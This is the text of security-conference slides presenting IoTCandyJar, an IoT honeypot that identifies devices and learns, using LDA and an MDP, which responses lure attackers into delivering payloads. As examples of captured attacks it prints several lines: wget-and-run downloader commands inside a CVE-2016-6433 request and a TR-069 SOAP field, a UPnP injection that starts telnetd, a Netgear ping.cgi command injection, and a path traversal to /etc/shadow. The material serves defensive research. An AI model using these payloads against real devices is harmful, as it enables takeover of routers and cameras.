IoTCandyJar: Towards an Intelligent-Interaction Honeypot for IoT Devices
Bio

• Black Hat Veteran (2016 USA, 2017 Asia, 2017 USA).
• Principle Security Researcher @ PANW.

Mobile Security
- Discover Malware
- Android Security

Web Security
- Exploit Kit Detection.
- Browser Security.

IoT Security
- Vulnerability.
- SDN-based Solution.

Explore & Exploit
- Fuzzing & CVEs.
- Attacks.
Agenda

- IoT Honeypot.
- Intelligent Interaction.
- IoTScanner
- IoT-ID
- IoTLearner
The idea of honeypots began in 1991.

Low-Interaction

- Very limited level of interaction
- Manually Generate Responses
- honeyd

High-Interaction

- Fully edged operating system
- Interact with real system (physical) or emulator (virtual)
- GenIIt
Challenges to Build IoT-Honeypot

Low-Interaction IoT Honeypot?
- Heterogeneity
- Lack of Knowledge

High-Interaction IoT Honeypot?
- Expensive
  - Lack of emulator
Intelligent-Interaction

Automatic Collect IoT Behaviors

Simulate Behaviors Expected by attackers

Intelligently Learn Through Interaction
Why Interaction?

Attack

CVE-2016-6433

Request Content

```
wget http://x.x.x.x/mal.sh;
chmod 777 mal.sh; sh mal.sh;
```

Malicious Server Address

HONEYPOT

200
OK

404
Not Found

{ip}:443/img/favicon.png
?v=6.0.1-1213
Captured Pre-Attack Check

200 OK
/etc/RT2870STA.dat
get status.cgi

401 Unauthorized
HEAD / HTTP/1.1

404 Not Found
/globe

IP Camera Info/Config

WWW-Authenticate: Basic realm="NETGEAR R7000"

Error: 404 Not Found
home_wan.htm

ZyXEL Modem
**IoT Protocols**

Management Component Transport (MCTP)

REMOTE
HI_SRDK_MEDIA_GetShowAttr
MCTP/1.0

MCTP/1.0
200
OK

Vulnerable Kguard DVR

UDP Port 53413

\x00 \x00 \x00 \x00 \x00 \x00 \x00

xD0xA5Login:

Vulnerable Router (Netcore | Netis)

HNAP

/HNAP1/

XML

Vulnerable Router (Netgear | Linksys)
Echo Command

Inject Echo Command to Print Random String and Check Result in Response

POST /ping.cgi HTTP/1.1
referer:http://x.x.x.x/DIAG_diag.htm
IPAddr1=1&IPAddr2=2&IPAddr3=3&IPAddr4=4&ping=Ping&ping_IPAddr=12.12.12; echo "zP8ZDXwQCC";

Netgear DGN2200v1-v4
System Architecture

Honeypot Instance

IoT Database
- Raw_Request
- Raw_Response
- Session Table
- Learning Model

IoTScanner
- Filter
- IoT-ID
- MDP

IoTLearner

Active Probing
IoTScanner

Automatic IoT Behaviors Collector
Customized Scanning For IoT Devices

- IP Filtering
- Port Filtering
- Request Filtering
- Exploit Filtering
### IP Address Filtering

<table>
<thead>
<tr>
<th>Device Type</th>
<th>Vender</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP-Camera</td>
<td>Hikvision</td>
<td>8,785</td>
</tr>
<tr>
<td></td>
<td>Avtech</td>
<td>4,391</td>
</tr>
<tr>
<td></td>
<td>Dahua</td>
<td>4,002</td>
</tr>
<tr>
<td></td>
<td>NetWave</td>
<td>3,713</td>
</tr>
<tr>
<td></td>
<td>Kucam</td>
<td>1,302</td>
</tr>
<tr>
<td></td>
<td>Tenvis</td>
<td>202</td>
</tr>
<tr>
<td></td>
<td>Unknown</td>
<td>892</td>
</tr>
<tr>
<td>Router</td>
<td>TP-Link</td>
<td>4,560</td>
</tr>
<tr>
<td></td>
<td>Linksys</td>
<td>3,604</td>
</tr>
<tr>
<td></td>
<td>Netgear</td>
<td>2,461</td>
</tr>
<tr>
<td></td>
<td>Sky</td>
<td>2,186</td>
</tr>
<tr>
<td></td>
<td>BuffaloTech</td>
<td>235</td>
</tr>
<tr>
<td></td>
<td>ZyXEL</td>
<td>1,232</td>
</tr>
<tr>
<td>Printer</td>
<td>HP</td>
<td>3,200</td>
</tr>
<tr>
<td></td>
<td>Epson</td>
<td>2,603</td>
</tr>
<tr>
<td></td>
<td>Canon</td>
<td>1,989</td>
</tr>
<tr>
<td></td>
<td>Brother</td>
<td>1,230</td>
</tr>
<tr>
<td>Smart Router</td>
<td>Linksys</td>
<td>1,581</td>
</tr>
<tr>
<td></td>
<td>Unknown</td>
<td>330</td>
</tr>
<tr>
<td>Firewall</td>
<td>Huawei</td>
<td>783</td>
</tr>
<tr>
<td></td>
<td>Fortinet</td>
<td>623</td>
</tr>
<tr>
<td></td>
<td>Cisco</td>
<td>525</td>
</tr>
<tr>
<td></td>
<td>SonicWall</td>
<td>553</td>
</tr>
<tr>
<td></td>
<td>3com</td>
<td>197</td>
</tr>
<tr>
<td></td>
<td>Juniper</td>
<td>30</td>
</tr>
<tr>
<td>Voip Gateway</td>
<td>D-Link</td>
<td>6,369</td>
</tr>
<tr>
<td></td>
<td>Innovaphone</td>
<td>3,598</td>
</tr>
<tr>
<td></td>
<td>AddPac</td>
<td>1,671</td>
</tr>
<tr>
<td></td>
<td>Technicolor</td>
<td>959</td>
</tr>
<tr>
<td></td>
<td>Edgewater</td>
<td>100</td>
</tr>
<tr>
<td>ONT</td>
<td>Alcatel Lucent</td>
<td>1,263</td>
</tr>
</tbody>
</table>
## Ports Filtering

Prioritize to Scan Traffic on These Ports.

<table>
<thead>
<tr>
<th>Device Type</th>
<th>Open Ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP-Camera</td>
<td>81(35%), 554(20%), 82(10%), 37777(10%), 49152, 443, 83, 84, 143, 88</td>
</tr>
<tr>
<td>Routers</td>
<td>1900(67%), 21(16%), 80(1%), 8080, 1080, 9000, 8888, 8000, 49152, 81, 8081, 8443, 9090, 8088, 88, 82, 11, 9999, 22, 23, 7547</td>
</tr>
<tr>
<td>Printers</td>
<td>80(42%), 631(20%), 21(13%), 443(7%), 23, 8080, 137, 445, 25, 10000</td>
</tr>
<tr>
<td>Misc</td>
<td>5222 (XMPP), 5683 (CoAP), 1883/8883 (MQTT),</td>
</tr>
</tbody>
</table>
Captured Honeypot Traffic (Request)

18M → 1M → 0.4M
Request Type By Port
Remote Command Execution (RCE).

**TR-069 SOAP**

```xml
<?xml version="1.0"?>
<SOAP-ENV:Body>
<NewNTPServer1>
  cd /tmp;
  wget http://host/1; chmod 777 1; /1
</NewNTPServer1>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

**UPnP**

```
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:;'telnetd -p 9094;ls'
MX:2
```

**Encoded**

```
/shell?%75%6E%6D%20%-61
%6D%65%20%2D%61
```

**Info Disclosure.**

```
../../../../etc/shadow
```
### Scanning Result

- 300 Threads
- 3 sec timeout
- Reuse tcp session

<table>
<thead>
<tr>
<th>Rsp</th>
<th>Port</th>
<th>8000</th>
<th>80</th>
<th>8080</th>
<th>88</th>
<th>7547</th>
</tr>
</thead>
<tbody>
<tr>
<td>403</td>
<td></td>
<td>6,516,46</td>
<td>120,659</td>
<td>12,953</td>
<td>26,660</td>
<td>0</td>
</tr>
<tr>
<td>404</td>
<td></td>
<td>88,034</td>
<td>175,497</td>
<td>30,746</td>
<td>10,789</td>
<td>3,832</td>
</tr>
<tr>
<td>401</td>
<td></td>
<td>31,468</td>
<td>36,388</td>
<td>36,863</td>
<td>3,870</td>
<td>373</td>
</tr>
<tr>
<td>200</td>
<td></td>
<td>3,483</td>
<td>3,742</td>
<td>1,289</td>
<td>300</td>
<td>1,267</td>
</tr>
<tr>
<td>501</td>
<td></td>
<td>481</td>
<td>1,898</td>
<td>6,337</td>
<td>3</td>
<td>6,080</td>
</tr>
<tr>
<td>307</td>
<td></td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>unknown</td>
<td></td>
<td>52</td>
<td>1,693</td>
<td>10</td>
<td>2</td>
<td>2,720</td>
</tr>
<tr>
<td>others</td>
<td></td>
<td>1,320</td>
<td>8,193</td>
<td>1,938</td>
<td>6</td>
<td>5,140</td>
</tr>
</tbody>
</table>
IOT-ID: PINPOINT IOT DEVICE
• Problem: Pattern match based approach is not enough.
• Example:
  • Controversial Result.
  • IP change.
• Goal:
  • Obtain accurate knowledge of IoT device.
  • Pinpoint with IoT-ID.
• Approach:
  • LDA-based Solution.
LDA-Based Solution

• LDA
  • Documents, Terms, Topics.
  • Doc = mixture of topics

• Problem Formulation
  • Treat each response as a document
  • Type of the IoT device as the topic

• Example:
  • HTTP traffic from 6 different router vendors.
  • Summarize 15 different topics for them.
IoT Learner

Learning Behaviors From Interactions.
Random Responding

Scanning Result for URL /HNAP1/

404 Not Found (SonicWALL FW)
401 Unauthorized (TRENDnet Router)
<ModelName> WRT110 </ModelName> (LinkSys)
<ModelName> DIR-615 B2 </ModelName> (D-Link)

Knowledge Database

Randomly Select One

/<HNAP1>/

Reply

Accumulate Behaviors Knowledge From Attacker’s Reaction (Following Request)

Session Table

<Req, Rsp, IP, Port, Proto>
Problem Formulation

• Decision epochs (t)
• States (x, s)
• Actions (a)
• Transitions probabilities (T)
• Rewards (r)

• When we receive a request
• Current Incoming Request
• Potential Response Set
• Pr (Next Request)
• Capture Malicious Payload.

Sequential Decision Making

Select the Best Response as the action to satisfy attackers and capture the malicious payload.
MDP Build

Session Table

<table>
<thead>
<tr>
<th>Req_ID</th>
<th>Rsp_ID</th>
<th>Session_ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>0</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>3</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

Scanning Responses

404 Not Found (SonicWALL FW)
401 Unauthorized (TRENDnet)
<ModelName> WRT110 </ModelName> (LinkSys)
<ModelName> DIR-615 B2 </ModelName> (D-Link)
- Real Case is More Complex.
- CGI-Script.
- Entry Points.

- Privileged CGI – Medium Reward.
- Exploit Request – High Reward.
• Random Response Selection Algorithm
  • Occasionally select the correct one.

• MDP Response Selection Algorithm
  • select the correct one with higher probability.
Three Takeaways

• Challenges to build IoT honeypot using traditional ways.
• Utilizing an automatic and intelligent way to build IoT honeypot.
• Interesting pre-attack checks and Exploitations on IoT Device.
<table>
<thead>
<tr>
<th>Req_ID</th>
<th>Rsp_ID</th>
<th>Session_ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>0</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>0</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>3</td>
</tr>
</tbody>
</table>

\[</ModelName>WRT110</ModelName> (LinkSys)\]

\[</ModelName>DIR-615 B2</ModelName> (D-Link)\]

\[404 Not Found (SonicWALL FW)\]

\[401 Unauthorized (TRENDnet)\]

Sibling responses have been merged into the session table. The graph represents the scanning responses with SOAPAction: GetDevice Settings shell cmd and RSP3 being a potential target for further analysis.